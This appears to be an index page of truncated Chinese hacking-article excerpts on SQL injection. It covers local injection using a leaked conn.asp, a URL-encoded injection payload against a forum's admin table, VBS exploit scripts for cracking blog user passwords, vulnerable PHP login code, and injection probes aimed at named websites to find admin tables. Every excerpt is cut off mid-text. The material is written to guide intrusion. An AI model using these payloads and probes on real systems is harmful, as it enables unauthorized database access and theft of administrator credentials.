何为本地注射？简单地讲，就是本来你在服务器上无法进行SQL注入，因为服务器上的WEB程序很安全，对request("id")这样的请求过滤很严，或是限制输入格式为数字等等方法，你只能选择放弃放弃注入。但是在有的时候，你可以在本机的IIS里进行注入，从而达到对服务器注射的目的，避过服务器的request参数提交过滤。举例子来说明吧，现在你误打误撞，利用暴库或是其他的漏洞，得到了服务器的conn.asp文件，那么恭喜你，入侵离成功不远了。conn.asp文件代码一般如下：<%Set conn = Server.CreateObject("ADODB.Connec...

password=123123&amp;codestr=71&amp;CookieDate=2&amp;userhidden=2&amp;comeurl=index.asp&amp;submit=%u7ACB%u5373%u767B%u5F55&amp;ajaxPost=1&amp;username=where%2527%2520and%25201%253D%2528select%2520count%2528*%2529%2520from%2520dv_admin%2520where%2520left%2528username%252C1...

作者：Tr4c3'为了保持脚本的通用性，放弃了 and (select col_name(object_id('TableName'),N))=0这样的用法。'欲返回韩文等字符可修改121或者136行，更多的设置要自己修改'更多功能请大家自己加入Const method = "Get" '提交方式请修改此处,有get和post可选Const DisPlay = "D" 'S 保存到文件，D输出到屏幕Dim strUrl_B, strUrl, i,...

呵呵,只是证明下漏洞存在exp如下,保存为vbs,自己下个程序测试自己吧'From 剑心'============================================================================'使用说明：' 在命令提示符下：' cscript.exe lbsblog.vbs 要攻击的网站的博客路径 有效的文章id 要破解的博客用户密码'如：' cscript.exe lbsblog.vbs www.xxxx.com/blog/ 1&nb...

代码： $conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname); $password = md5($password); $q = "select id,group_id from $user_table where username=’$username’ and password=’$password’"; $res = sql_query(...

1、 判断注入类型（数字型还是字符型） 字符型和数字型数据判断：（希望有人能进一步的细化，细分为数字型和字符型判断两部分） http://www.test.net/index_kaoyan_view.jsp?id=117 And user>char(0) http://www.test.net/index_kaoyan_view.jsp?id=117 And user<char(0) http://www.test.net/index_kaoyan_view.jsp?id=117’ ...

ACCESS 查询数据库类型 http://www.zengke.com/product.asp?sort_id=24 and exists (select * from sysobjects)查询表admin页面返回正常显示为有，错误为无。http://www.zengke.com//product.asp?sort_id=24 and exists (select * from admin)查询admin表中的项admin/product.asp?so...

mysql 3.0的注射  对mysql的注射主要是靠union 的联合查询，但union只对版本4。0以上的有用，对3。0以下的就没用了。。。。。。。。。。  所以在mysql 3.0的数据库里没办法使用union进行跨表查询，但可以使用load_file  但是也不可以直接使用union替换出来。 下面就是我的一点思路：  得到版本：  mysql> select * from user wher...

UPDATE注射(mysql+php)的两个模式                              文/安全天使·SuperHei 2005.8.11 一.测试环境： OS: Windowsxp sp2 php: php&...